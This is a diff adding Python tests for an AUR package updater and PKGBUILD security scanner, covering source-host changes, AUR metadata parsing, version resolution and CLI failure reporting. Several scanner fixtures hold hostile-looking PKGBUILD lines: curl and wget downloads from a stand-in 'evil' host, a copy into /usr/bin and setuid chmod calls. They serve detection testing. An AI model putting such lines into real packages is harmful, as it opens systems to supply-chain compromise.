+def test_a_version_bump_that_renames_the_tarball_is_quiet():
+ """Almost every commit renames the tarball. Reporting that is pure noise."""
+ old = "pkgbase=t\nsource = https://good/demo-1.0.0.tar.gz\nsha256sums = aaaa\n"
+ new = "pkgbase=t\nsource = https://good/demo-1.0.1.tar.gz\nsha256sums = bbbb\n"
+ got = findings(None, None, old_info=old, new_info=new)
+ assert severity_of(got, "source-host-added") is None, got
+ assert severity_of(got, "source-added") is None, got
+
+
+def test_the_source_list_growing_is_what_makes_it_loud():
+ old = "pkgbase=t\nsource = https://good/a.tar.gz\nsha256sums = a\n"
+ same_host = (
+ "pkgbase=t\nsource = https://good/a.tar.gz\n"
+ "source = https://good/extra.patch\nsha256sums = a\nsha256sums = b\n"
+ )
+ new_host = (
+ "pkgbase=t\nsource = https://good/a.tar.gz\n"
+ "source = http://evil/b.patch\nsha256sums = a\nsha256sums = b\n"
+ )
+
+ assert (
+ severity_of(findings(None, None, old_info=old, new_info=same_host), "source-added")
+ == "INFO"
+ )
+ assert (
+ severity_of(findings(None, None, old_info=old, new_info=same_host), "source-host-added")
+ is None
+ )
+ assert (
+ severity_of(findings(None, None, old_info=old, new_info=new_host), "source-host-added")
+ == "LOOK"
+ )
+
+
+def test_a_download_in_pkgver_or_a_helper_is_seen():
+ """Only four function names were scanned, so `pkgver()` and helpers were not."""
+ for text in (
+ "pkgver() {\n curl -s https://evil/p -o p\n}\n" + EMPTY,
+ "_h() {\n wget https://evil/x\n}\nbuild() { _h; }\n" + EMPTY,
+ ):
+ got = findings(EMPTY, text)
+ assert severity_of(got, "network-in-build") == "LOOK", (text, got)
+
+
+def test_a_variable_ending_in_a_tool_name_is_not_a_fetch():
+ got = findings(EMPTY, "build() {\n _tool=curl\n make\n}\npackage() { :; }\n")
+ assert "network-in-build" not in rules(got), got
+ got = findings(EMPTY, 'pkgdesc="a tool to curl things"\n' + EMPTY)
+ assert "network-in-build" not in rules(got), got
+
+
+def test_writing_a_system_path_without_a_redirect_blocks():
+ for text in (
+ "package() { install -Dm644 x.conf /etc/x.conf; }\n",
+ "package() { cp evil /usr/bin/x; }\n",
+ ):
+ got = findings(EMPTY, text)
+ assert severity_of(got, "write-system-path") == "BLOCK", (text, got)
+
+
+def test_installing_into_pkgdir_is_not_a_system_write():
+ """The whole point of `$pkgdir`: this is how a package is supposed to work."""
+ for text in (
+ 'package() { install -Dm644 x "${pkgdir}/usr/share/x"; }\n',
+ 'package() { install -Dm755 b "$DESTDIR/usr/bin/b"; }\n',
+ ):
+ got = findings(EMPTY, text)
+ assert "write-system-path" not in rules(got), (text, got)
+
+
+def test_setuid_spellings_are_all_caught():
+ for text in (
+ "package() { chmod +s bin/tool; }\n",
+ "package() { chmod 4755 bin/tool; }\n",
+ "package() { chmod 04755 bin/tool; }\n",
+ "package() { chmod u+s bin/tool; }\n",
+ ):
+ got = findings(EMPTY, text)
+ assert severity_of(got, "setuid") == "BLOCK", (text, got)
+
+
+def test_the_system_path_must_be_the_destination_not_the_source():
+ """`ln -s /opt/Bitwarden/x "$pkgdir/etc/y"` reads from /opt and writes into
+ the package. Matching the source argument reported a correct PKGBUILD."""
+ for text in (
+ 'package() { ln -s /opt/B/X "$pkgdir/etc/Y"; }\n',
+ 'package() { cp /usr/share/x "$pkgdir/usr/share/"; }\n',
+ 'package() { install -Dm644 x "${pkgdir}/usr/share/x"; }\n',
+ ):
+ got = findings(EMPTY, text)
+ assert "write-system-path" not in rules(got), (text, got)
+
+
+def test_a_copy_into_a_system_path_on_its_own_line_blocks():
+ got = findings(EMPTY, "build() {\n cp x /etc/y\n}\npackage() { :; }\n")
+ assert severity_of(got, "write-system-path") == "BLOCK", got
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_aur.py b/tests/test_aur.py
@@ -0,0 +1,226 @@
+"""AUR client tests.
+
+Network is never required: `fetch` takes an injectable opener, so the tests drive
+it with a fake transport and stay fast and deterministic.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import aur # noqa: E402
+
+
+class FakeResponse(io.BytesIO):
+ def __enter__(self):
+ return self
+
+ def __exit__(self, *exc):
+ return False
+
+
+def fake_transport(payloads: dict[str, dict], seen: list[str] | None = None, fail: bool = False):
+ """An opener that answers RPC queries from a name -> raw-result mapping."""
+
+ def opener(url: str, timeout: float):
+ if seen is not None:
+ seen.append(url)
+ if fail:
+ raise OSError("network down")
+ query = url.split("?", 1)[1]
+ names = [
+ v
+ for k, v in (p.split("=", 1) for p in query.split("&"))
+ if k == "arg%5B%5D" or k == "arg[]"
+ ]
+ import urllib.parse
+
+ names = [urllib.parse.unquote(n) for n in names]
+ results = [payloads[n] for n in names if n in payloads]
+ return FakeResponse(json.dumps({"resultcount": len(results), "results": results}).encode())
+
+ return opener
+
+
+RAW = {
+ "demo": {
+ "Name": "demo",
+ "Version": "1.2.3-1",
+ "Description": "a demo",
+ "Maintainer": "alice",
+ "OutOfDate": None,
+ "NumVotes": 12,
+ "Popularity": 1.5,
+ "FirstSubmitted": 1000,
+ "LastModified": 2000,
+ "URL": "https://demo.invalid",
+ "PackageBase": "demo",
+ "Depends": ["glibc"],
+ "MakeDepends": ["cmake"],
+ "CoMaintainers": ["bob"],
+ },
+ "orphan": {
+ "Name": "orphan",
+ "Version": "0.1-1",
+ "Maintainer": None,
+ "OutOfDate": 1700000000,
+ "NumVotes": 0,
+ "Popularity": 0.0,
+ "FirstSubmitted": 500,
+ "LastModified": 900,
+ "PackageBase": "orphan",
+ },
+}
+
+
+# --------------------------------------------------------------------------
+
+
+def test_parse_rpc_payload():
+ pkgs = aur.fetch(["demo"], opener=fake_transport(RAW))
+ p = pkgs["demo"]
+ assert p.version == "1.2.3-1"
+ assert p.maintainer == "alice"
+ assert p.comaintainers == ("bob",)
+ assert p.votes == 12
+ assert p.depends == ("glibc",)
+ assert p.make_depends == ("cmake",)
+ assert not p.is_orphaned and not p.is_flagged
+
+
+def test_orphan_and_flagged_flags():
+ p = aur.fetch(["orphan"], opener=fake_transport(RAW))["orphan"]
+ assert p.is_orphaned
+ assert p.is_flagged
+ assert p.is_orphaned and p.out_of_date == 1700000000
+
+
+def test_unknown_names_are_omitted_not_fatal():
+ """A package deleted from the AUR simply does not come back."""
+ pkgs = aur.fetch(["demo", "gone"], opener=fake_transport(RAW))
+ assert set(pkgs) == {"demo"}
+ assert aur.deleted(["demo", "gone"], pkgs) == ["gone"]
+
+
+def test_generated_debug_packages_are_not_deletions():
+ """makepkg splits -debug out of a base package; it was never an AUR entry."""
+ pkgs = aur.fetch(["demo"], opener=fake_transport(RAW))
+ assert aur.deleted(["demo", "demo-debug"], pkgs) == []
+ # but a -debug package with no installed base really is unknown
+ assert aur.deleted(["demo", "nothing-debug"], pkgs) == ["nothing-debug"]
+
+
+def test_debug_suffix_accepted_when_the_base_is_only_installed_locally():
+ pkgs: dict = {}
+ assert aur.deleted(["thing-debug"], pkgs, known_bases={"thing"}) == []
+ assert aur.deleted(["thing-debug"], pkgs) == ["thing-debug"]
+
+
+def test_batching_splits_large_requests():
+ seen: list[str] = []
+ names = [f"pkg{i}" for i in range(aur.BATCH + 10)]
+ aur.fetch(names, opener=fake_transport({}, seen=seen))
+ assert len(seen) == 2, f"expected 2 requests, got {len(seen)}"
+ assert "arg%5B%5D=pkg0" in seen[0] or "arg%5B%5D=pkg0" in seen[0]
+
+
+def test_network_failure_raises_a_typed_error():
+ try:
+ aur.fetch(["demo"], opener=fake_transport(RAW, fail=True))
+ except aur.AurError:
+ pass
+ else:
+ raise AssertionError("expected AurError when the transport fails")
+
+
+def test_missing_fields_do_not_crash():
+ pkgs = aur.fetch(["bare"], opener=fake_transport({"bare": {"Name": "bare"}}))
+ p = pkgs["bare"]
+ assert p.version == "" and p.maintainer is None and p.depends == ()
+ assert p.age_days == 0.0
+
+
+# --------------------------------------------------------------------------
+# state: this is what makes "adopted by a new maintainer" possible
+# --------------------------------------------------------------------------
+
+
+def test_state_round_trips_and_reports_maintainer_change():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "aur-state.json"
+ state = aur.State.load(path)
+ assert state.previous_maintainer("demo") is None
+
+ state.record("demo", maintainer="alice", commit="abc123", version="1.0-1")
+ state.save()
+
+ reloaded = aur.State.load(path)
+ assert reloaded.previous_maintainer("demo") == "alice"
+ assert reloaded.previous_commit("demo") == "abc123"
+
+ # the package changes hands
+ reloaded.record("demo", maintainer="carol", commit="def456")
+ assert reloaded.previous_maintainer("demo") == "carol"
+
+
+def test_state_survives_a_corrupt_file():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "aur-state.json"
+ path.write_text("{ this is not json")
+ state = aur.State.load(path)
+ assert state.entries == {}
+ state.record("x", maintainer="y")
+ state.save()
+ assert aur.State.load(path).previous_maintainer("x") == "y"
+
+
+def test_state_save_is_atomic_leaving_no_temp_file():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "aur-state.json"
+ state = aur.State.load(path)
+ state.record("demo", maintainer="alice")
+ state.save()
+ assert path.is_file()
+ assert not list(Path(td).glob("*.tmp"))
+
+
+def test_state_ignores_unknown_fields_from_a_newer_version():
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "aur-state.json"
+ path.write_text(
+ json.dumps(
+ {
+ "version": 99,
+ "packages": {
+ "demo": {"maintainer": "alice", "commit": "c", "something_new": True}
+ },
+ }
+ )
+ )
+ state = aur.State.load(path)
+ assert state.previous_maintainer("demo") == "alice"
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_changes.py b/tests/test_changes.py
@@ -0,0 +1,80 @@
+"""Version-to-commit resolution against a real git history.
+
+These run against a temporary repository built for the test, so the pickaxe
+search and the history walk are exercised rather than stubbed.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import changes # noqa: E402
+
+
+def _repo(tmp: Path) -> Path:
+ def run(*args: str) -> None:
+ subprocess.run(
+ ["git", "-C", str(tmp), "-c", "commit.gpgsign=false", *args],
+ check=True,
+ capture_output=True,
+ )
+
+ run("init", "-q")
+ run("config", "user.email", "t@example.invalid")
+ run("config", "user.name", "t")
+ return tmp
+
+
+def _commit(repo: Path, src: str, message: str) -> str:
+ (repo / "PKGBUILD").write_text(src)
+ subprocess.run(
+ ["git", "-C", str(repo), "-c", "commit.gpgsign=false", "add", "PKGBUILD"],
+ check=True,
+ capture_output=True,
+ )
+ subprocess.run(
+ ["git", "-C", str(repo), "-c", "commit.gpgsign=false", "commit", "-qm", message],
+ check=True,
+ capture_output=True,
+ )
+ return subprocess.run(
+ ["git", "-C", str(repo), "rev-parse", "HEAD"], check=True, capture_output=True, text=True
+ ).stdout.strip()
+
+
+def test_the_version_match_includes_pkgrel_and_epoch():
+ """`pkgver` alone is not the version.
+
+ A maintainer bumps `pkgrel` for a dependency rebuild without touching
+ `pkgver`, so matching on pkgver alone resolves both `1.0-1` and `1.0-2` to
+ the commit that first declared `1.0` -- and the diff is then taken against a
+ revision the machine never had, which makes everything the packager changed
+ in between look like a fresh finding.
+ """
+ assert changes.declared_version("pkgname=x\npkgver=1.0\npkgrel=2\n") == "1.0-2"
+ assert changes.declared_version("pkgname=x\npkgver=1.0\npkgrel=1\n") == "1.0-1"
+ assert changes.declared_version("pkgname=x\nepoch=2\npkgver=1.0\npkgrel=3\n") == "2:1.0-3"
+ assert changes.declared_version("pkgname=x\n") == ""
+
+
+def test_a_pkgrel_bump_resolves_to_its_own_commit():
+ with tempfile.TemporaryDirectory() as td:
+ repo = _repo(Path(td))
+ first = _commit(repo, "pkgname=x\npkgver=1.0\npkgrel=1\n", "1.0-1")
+ second = _commit(repo, "pkgname=x\npkgver=1.0\npkgrel=2\n", "1.0-2")
+
+ assert changes.commit_for_version(repo, "1.0-2") == second
+ assert changes.commit_for_version(repo, "1.0-1") == first
+
+
+def test_an_unknown_version_resolves_to_nothing():
+ with tempfile.TemporaryDirectory() as td:
+ repo = _repo(Path(td))
+ _commit(repo, "pkgname=x\npkgver=1.0\npkgrel=1\n", "1.0-1")
+ assert changes.commit_for_version(repo, "9.9-9") == ""
+ assert changes.commit_for_version(repo, "") == ""
diff --git a/tests/test_cli.py b/tests/test_cli.py
@@ -0,0 +1,1270 @@
+"""CLI tests.
+
+These cover the units that decide *what* the tool will do, which is where a
+mistake is expensive: misclassifying a downgrade as an upgrade means offering to
+apply something pacman will refuse, and forgetting to record a baseline means
+every audit stays a first audit forever.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import os
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import aur, cli # noqa: E402
+
+CLONE = Path.home() / ".cache/paru/clone"
+
+
+def _code(fn) -> str:
+ """A function's source with all whitespace removed.
+
+ These assertions are about what the code does, and the exact line breaks
+ are the formatter's business -- pinning them made every one of these tests
+ fail the first time the tree was formatted.
+ """
+
+ return "".join(_code(fn).split())
+
+
+def pkg(name: str, version: str, maintainer: str = "someone") -> aur.AurPackage:
+ return aur.AurPackage(name=name, version=version, maintainer=maintainer)
+
+
+# --------------------------------------------------------------------------
+# argument handling
+# --------------------------------------------------------------------------
+
+
+def _code(fn) -> str:
+ """A function's source with all whitespace removed.
+
+ These assertions are about what the code does; where the line breaks fall
+ is the formatter's business. Stripping whitespace from both the source and
+ the snippet means a reformat cannot make them fail.
+ """
+ import inspect
+
+ return _strip(inspect.getsource(fn))
+
+
+def _strip(s: str) -> str:
+ return "".join(s.split())
+
+
+def test_a_failed_package_is_recorded_as_failed_in_the_observer():
+ """The watcher saw the process exit and nothing said otherwise, so it
+ filed the package as done: the stream carried `finished state=done` and
+ `failed` for the same package, and `done` reached the total with packages
+ missing."""
+ source = _code(cli._apply_aur_each)
+ assert _strip("observer.fail") in source, source[-800:]
+
+
+def test_shared_flags_are_accepted_before_and_after_the_subcommand():
+ parser = cli.build_parser()
+ assert parser.parse_args(["--offline", "plan"]).offline is True
+ assert parser.parse_args(["plan", "--offline"]).offline is True
+ assert parser.parse_args(["plan", "--no-aur", "--json"]).no_aur is True
+ assert parser.parse_args(["plan", "--json"]).json is True
+
+
+def test_a_flag_given_once_is_not_replaced_by_the_subcommand_default():
+ """The subparser copy carries no default, or it would clobber the real one."""
+ args = cli.build_parser().parse_args(["--offline", "plan"])
+ assert getattr(args, "offline", False) is True
+ assert cli.options_from(args).offline is True
+
+
+def test_plan_implies_dry_run_without_forcing_it_on_other_commands():
+ assert cli.options_from(cli.build_parser().parse_args(["plan"])).dry_run is True
+ assert cli.options_from(cli.build_parser().parse_args(["hygiene"])).dry_run is False
+ assert cli.options_from(cli.build_parser().parse_args([])).dry_run is False
+
+
+def test_there_is_no_workers_flag_to_misuse():
+ """paru builds serially, so dividing cores across workers would only slow it."""
+ import contextlib
+
+ with contextlib.redirect_stderr(io.StringIO()):
+ try:
+ cli.build_parser().parse_args(["--workers", "8"])
+ except SystemExit:
+ pass
+ else:
+ raise AssertionError("--workers is still offered but cannot do anything")
+ assert cli.options_from(cli.build_parser().parse_args([])).workers == 1
+
+
+def test_hygiene_subcommand_parses_its_own_flags():
+ args = cli.build_parser().parse_args(["log", "--tail"])
+ assert args.command == "log" and args.tail is True
+
+
+# --------------------------------------------------------------------------
+# AUR classification: the trap that produced 25 phantom updates
+# --------------------------------------------------------------------------
+
+
+def test_vcs_packages_are_never_treated_as_version_upgrades():
+ """The AUR records a -git pkgver at commit time, often older than local."""
+ installed = {"thing-git": "r900.abc-1"}
+ meta = {"thing-git": pkg("thing-git", "r600.def-1")}
+ upgrades, downgrades = cli._classify_aur(installed, meta)
+ assert upgrades == {} and downgrades == {}, "a VCS package was classified by version comparison"
+
+
+def test_a_genuine_upgrade_is_an_upgrade():
+ upgrades, downgrades = cli._classify_aur({"a": "1.0-1"}, {"a": pkg("a", "2.0-1")})
+ assert upgrades == {"a": ("1.0-1", "2.0-1")}
+ assert downgrades == {}
+
+
+def test_an_older_aur_version_is_a_downgrade_not_an_upgrade():
+ """paru -Sua will not apply this, so calling it an update would be a lie."""
+ upgrades, downgrades = cli._classify_aur({"a": "2.0-1"}, {"a": pkg("a", "1.0-1")})
+ assert upgrades == {}
+ assert downgrades == {"a": ("2.0-1", "1.0-1")}
+
+
+def test_an_unchanged_version_is_neither():
+ upgrades, downgrades = cli._classify_aur({"a": "1.0-1"}, {"a": pkg("a", "1.0-1")})
+ assert upgrades == {} and downgrades == {}
+
+
+def test_packages_not_installed_are_ignored():
+ upgrades, downgrades = cli._classify_aur({}, {"a": pkg("a", "9.9-1")})
+ assert upgrades == {} and downgrades == {}
+
+
+def test_classification_handles_epoch_and_pkgrel_ordering():
+ # an epoch bump outranks a numerically smaller pkgver
+ upgrades, _ = cli._classify_aur({"a": "1.0-1"}, {"a": pkg("a", "1:0.9-1")})
+ assert "a" in upgrades
+ # a pkgrel bump is a real upgrade
+ upgrades, _ = cli._classify_aur({"a": "1.0-1"}, {"a": pkg("a", "1.0-2")})
+ assert "a" in upgrades
+ # but a lower pkgrel is not
+ upgrades, downgrades = cli._classify_aur({"a": "1.0-2"}, {"a": pkg("a", "1.0-1")})
+ assert not upgrades and "a" in downgrades
+
+
+def test_the_devel_list_only_contains_devel_packages():
+ """`paru -Qua` lists every AUR upgrade, not only the devel ones.
+
+ Without a filter, each ordinary AUR update appeared a second time as a
+ "devel rebuild" -- the same package twice in the same section.
+ """
+ foreign = ["helix-git", "android-apktool-bin", "ttf-iosevka", "solaar-git"]
+ paru_said = {
+ "helix-git": ("r1", "r2"),
+ "android-apktool-bin": ("1-1", "2-1"),
+ "ttf-iosevka": ("34.8.1-1", "34.9.0-1"),
+ "solaar-git": ("a", "b"),
+ }
+ rows = cli._vcs({}, foreign, paru_said)
+ assert [r.name for r in rows] == ["helix-git", "solaar-git"], rows
+
+
+def test_the_devel_list_never_duplicates_the_upgrade_list():
+ """A package must not be offered as both an upgrade and a devel rebuild."""
+ installed = {"helix-git": "r1", "demo-bin": "1-1"}
+ meta = {"helix-git": pkg("helix-git", "r2"), "demo-bin": pkg("demo-bin", "2-1")}
+ upgrades, _ = cli._classify_aur(installed, meta)
+ devel = cli._vcs(
+ installed,
+ ["helix-git", "demo-bin"],
+ {"helix-git": ("r1", "r2"), "demo-bin": ("1-1", "2-1")},
+ )
+ assert "helix-git" not in upgrades, "a VCS package must not be a plain upgrade"
+ assert [r.name for r in devel] == ["helix-git"], devel
+ assert not set(upgrades) & {r.name for r in devel}
+
+
+def test_no_devel_check_means_no_devel_rows():
+ """Not knowing must not be reported as "nothing to rebuild"."""
+ assert cli._vcs({}, ["a-git"], None) == []
+ assert cli._vcs({}, ["a-git"], {}) == []
+
+
+def test_a_left_the_aur_warning_names_its_packages():
+ """Free text cannot be scoped to a selection; a list can."""
+ note = cli._package_warning(["alpha", "beta"], known=set())
+ assert note.packages == ["alpha", "beta"], note.packages
+ assert note.title and note.headline and note.flagged == 2
+
+
+def test_the_warning_row_is_one_row_however_many_kinds_there_are():
+ """A row each turned "look at this" into a column of near-identical rows."""
+ run = cli.Run(options=cli.Options())
+ run.warning_notes = [
+ cli.WarningNote(label="warning", title="a", headline="first"),
+ cli.WarningNote(label="warning", title="b", headline="second"),
+ ]
+ rows = [c for c in cli._checks(run) if c.label == "warning"]
+ assert len(rows) == 1, [c.detail for c in rows]
+ assert "2 kinds" in rows[0].detail, rows[0].detail
+
+
+def test_a_failed_phase_reports_why():
+ """`exited 1` is not an error message."""
+ import tempfile
+ from pathlib import Path as _Path
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _Path(td) / "pacman.log"
+ log.write_text("error: failed to commit transaction (conflicting files)\n")
+ got = cli._failure_reason(log, "the repository phase failed")
+ assert "conflicting files" in got, got
+ assert got.startswith("the repository phase failed"), got
+
+
+def test_the_sudo_failure_gets_its_own_explanation():
+ """It is the failure that looks most like nothing happening at all."""
+ import tempfile
+ from pathlib import Path as _Path
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _Path(td) / "paru.log"
+ log.write_text(
+ "sudo: a terminal is required to read the password; either use "
+ "the -S option\nsudo: a password is required\n"
+ )
+ got = cli._failure_reason(log, "the aur phase failed")
+ assert "sudo -v" in got, got
+ assert "terminal" in got, got
+
+
+def test_a_missing_log_still_reports_something():
+ from pathlib import Path as _Path
+
+ got = cli._failure_reason(_Path("/nonexistent/nope.log"), "the aur phase failed")
+ assert got == "the aur phase failed"
+
+
+def test_an_empty_log_does_not_produce_a_dangling_dash():
+ import tempfile
+ from pathlib import Path as _Path
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _Path(td) / "pacman.log"
+ log.write_text("\n\n")
+ got = cli._failure_reason(log, "the repository phase failed")
+ assert got == "the repository phase failed", got
+ assert not got.endswith("—"), got
+
+
+def test_the_apply_plans_from_the_screen_s_own_source():
+ """Both must read the same databases, or the apply can silently do less."""
+ source = _code(cli.cmd_apply)
+ assert _strip("_plan_handle(run)") in source, source[:400]
+ assert _strip("with repo.connect() as handle") not in source
+
+
+def test_the_apply_checks_sudo_before_running_anything():
+ """A run that could never authenticate should not stream a build screen
+ and then report an exit code."""
+ source = _code(cli.cmd_apply)
+ assert _strip("live.can_sudo()") in source, source[:400]
+ # and the check must come before the first phase is dispatched
+ assert source.index(_strip("live.can_sudo()")) < source.index(_strip('if "repo" in phases')), (
+ "the sudo check runs after the repository phase"
+ )
+
+
+def test_a_package_conflict_is_explained_not_just_reported():
+ """A conflict is a question, not a fault.
+
+ pacman refuses to replace a package under --noconfirm because replacing one
+ is exactly what it should ask about. The useful part of the log -- which
+ packages conflict -- sits above the error line a naive reader would report.
+ """
+ import tempfile
+ from pathlib import Path as _Path
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _Path(td) / "paru.log"
+ log.write_text(
+ ":: Resolving dependencies...\n"
+ ":: Calculating conflicts...\n"
+ ":: Conflicts found:\n"
+ " scenefx: scenefx0.5 (scenefx) \n\n"
+ ":: Conflicting packages will have to be confirmed manually\n"
+ "error: can not install conflicting packages with --noconfirm\n"
+ )
+ got = cli._failure_reason(log, "the aur phase failed")
+ assert "scenefx" in got, got
+ assert "scenefx0.5" in got, got
+ # the fact that matters must survive truncation on a narrow terminal
+ assert got.startswith("conflicting packages ("), got
+ assert "nothing was installed" in got, got
+
+
+def test_a_conflict_block_that_is_not_there_is_not_invented():
+ import tempfile
+ from pathlib import Path as _Path
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _Path(td) / "paru.log"
+ log.write_text(":: Resolving dependencies...\nerror: something else\n")
+ got = cli._failure_reason(log, "the aur phase failed")
+ assert "conflict" not in got.lower(), got
+ assert "something else" in got, got
+
+
+def test_a_conflict_with_no_pairs_falls_back():
+ import tempfile
+ from pathlib import Path as _Path
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _Path(td) / "paru.log"
+ log.write_text(":: Conflicts found:\n\nerror: can not install\n")
+ got = cli._failure_reason(log, "the aur phase failed")
+ assert got, got
+
+
+class _FakeRunner:
+ """Succeeds for everything except the names it was told to fail."""
+
+ def __init__(self, fail):
+ self.fail = set(fail)
+ self.ran = []
+ self.logs = []
+
+ def run(self, argv, phase, log, total=0, since=None):
+ name = argv[-1]
+ self.ran.append(name)
+ self.logs.append(log)
+ from pathlib import Path as _P
+
+ _P(log).parent.mkdir(parents=True, exist_ok=True)
+ if name in self.fail:
+ _P(log).write_text(
+ ":: Resolving dependencies...\n"
+ "error: could not find all required packages:\n"
+ f" {name} (target)\n"
+ )
+ return 1
+ _P(log).write_text(":: installed\n")
+ return 0
+
+
+def test_the_other_packages_still_install_when_one_fails():
+ """paru resolves its whole target list before building any of it.
+
+ Naming every package at once therefore made one unresolvable target fail
+ the command outright, installing nothing at all. The user asked for the
+ rest to go through and the problem to be reported at the end.
+ """
+ import tempfile
+ from pathlib import Path as _P
+
+ runner = _FakeRunner({"mangowm-git"})
+ ordered = ["a-git", "mangowm-git", "b-git", "c-git"]
+ failures, remaining, _skipped = cli._apply_aur_each(runner, ordered, _P(tempfile.mkdtemp()))
+
+ assert runner.ran == ordered, runner.ran
+ assert [name for name, _ in failures] == ["mangowm-git"], failures
+ assert remaining == [], remaining
+ # each run gets its own log, so the failure can be read from the run that
+ # produced it rather than from a shared file
+ assert len(set(runner.logs)) == len(ordered), runner.logs
+
+
+def test_a_clean_aur_run_reports_no_failures():
+ import tempfile
+ from pathlib import Path as _P
+
+ runner = _FakeRunner(set())
+ failures, remaining, _skipped = cli._apply_aur_each(runner, ["a", "b"], _P(tempfile.mkdtemp()))
+ assert failures == [] and remaining == []
+ assert runner.ran == ["a", "b"]
+
+
+def test_each_failure_is_reported_as_it_happens():
+ """A long run should show progress through the failures, not a wall at
+ the end."""
+ import tempfile
+ from pathlib import Path as _P
+
+ seen = []
+ runner = _FakeRunner({"a", "c"})
+ cli._apply_aur_each(runner, ["a", "b", "c"], _P(tempfile.mkdtemp()), report=seen.append)
+ assert len(seen) == 2, seen
+ # named once each, so a reader can tell which failure is which
+ assert all(m.startswith(("a:", "c:")) for m in seen), seen
+ assert all("a failed" not in m for m in seen), seen
+
+
+def test_an_aborted_run_stops_instead_of_starting_the_next_package():
+ """Ctrl+C used to unwind the running child and then carry on.
+
+ The interrupt is caught around the child so that paru can be shut down
+ cleanly, which meant the loop saw a phase that had merely finished and
+ started the next package -- so cancelling one build walked through all of
+ the remaining ones.
+ """
+ import tempfile
+ from pathlib import Path as _P
+
+ class AbortingRunner:
+ def __init__(self):
+ self.ran = []
+ self.interrupted = False
+
+ def run(self, argv, phase, log, total=0, since=None):
+ name = argv[-1]
+ self.ran.append(name)
+ if name == "b-git":
+ # what the runner does when the user interrupts mid-child
+ self.interrupted = True
+ return 130
+ return 0
+
+ runner = AbortingRunner()
+ _failures, remaining, _skipped = cli._apply_aur_each(
+ runner, ["a-git", "b-git", "c-git", "d-git"], _P(tempfile.mkdtemp())
+ )
+ assert runner.ran == ["a-git", "b-git"], runner.ran
+ # and what is left is reported, so it can be offered as a resume
+ assert remaining == ["c-git", "d-git"], remaining
+
+
+def test_a_run_that_was_not_interrupted_still_does_every_package():
+ import tempfile
+ from pathlib import Path as _P
+
+ runner = _FakeRunner(set())
+ _failures, remaining, _skipped = cli._apply_aur_each(
+ runner, ["a", "b", "c"], _P(tempfile.mkdtemp())
+ )
+ assert runner.ran == ["a", "b", "c"]
+ assert remaining == []
+
+
+def test_stopping_offers_to_resume_what_is_left():
+ """Cancelling should not mean starting over.
+
+ The packages never attempted are known, so they can be offered back rather
+ than making someone re-run the whole thing.
+ """
+ source = _code(cli.cmd_apply)
+ assert _strip("unfinished = [name for name, _ in failures] + remaining") in source, source[
+ :1400
+ ]
+ assert _strip("resume in a terminal") in source, source[:1400]
+
+
+def test_the_summary_does_not_restate_the_count_three_ways():
+ """It said how many failed, how many installed, and how to fix it -- the
+ middle one being something the reader already knows."""
+ source = _code(cli.cmd_apply)
+ assert _strip("The other ") not in source, source[:1800]
+ assert _strip("Press R to finish them") not in source, source[:1800]
+
+
+def test_a_signal_exit_is_reported_as_a_stop_not_a_mystery():
+ """makepkg's last line when interrupted is "==> Cleaning up…", which
+ explains nothing; quoting it made the message look like a puzzle."""
+ import tempfile
+ from pathlib import Path as _P
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _P(td) / "p.log"
+ log.write_text("==> Starting build()...\n==> ERROR: Aborted by user!\n==> Cleaning up...\n")
+ assert cli._failure_reason(log, "failed (exit 130)", 130) == "stopped before it finished"
+
+
+def test_a_progress_line_is_not_mistaken_for_a_failure():
+ import tempfile
+ from pathlib import Path as _P
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _P(td) / "p.log"
+ log.write_text("==> Starting build()...\n==> Cleaning up...\n")
+ # nothing reads like an error, so do not invent one from the last line
+ assert cli._failure_reason(log, "failed (exit 1)", 1) == "failed (exit 1)"
+
+
+def test_the_actual_error_line_is_preferred_over_the_last_line():
+ import tempfile
+ from pathlib import Path as _P
+
+ with tempfile.TemporaryDirectory() as td:
+ log = _P(td) / "p.log"
+ log.write_text(
+ "==> Starting build()...\n"
+ "error: could not compile `foo`\n"
+ "==> ERROR: A failure occurred in build().\n"
+ "==> Cleaning up...\n"
+ )
+ got = cli._failure_reason(log, "failed (exit 4)", 4)
+ assert "could not compile" in got, got
+ assert "Cleaning up" not in got, got
+
+
+def test_only_devel_packages_that_moved_are_rebuilt():
+ """A -git package is rebuilt whenever it is named.
+
+ --needed does not skip one the way it skips a released version, because
+ what is installed is the version generated at the last build. Naming every
+ foreign -git package therefore rebuilt all of them on every run, including
+ the ones finished minutes earlier.
+ """
+ source = _code(cli.cmd_apply)
+ assert _strip("devel_upgrades()") in source, source[:1600]
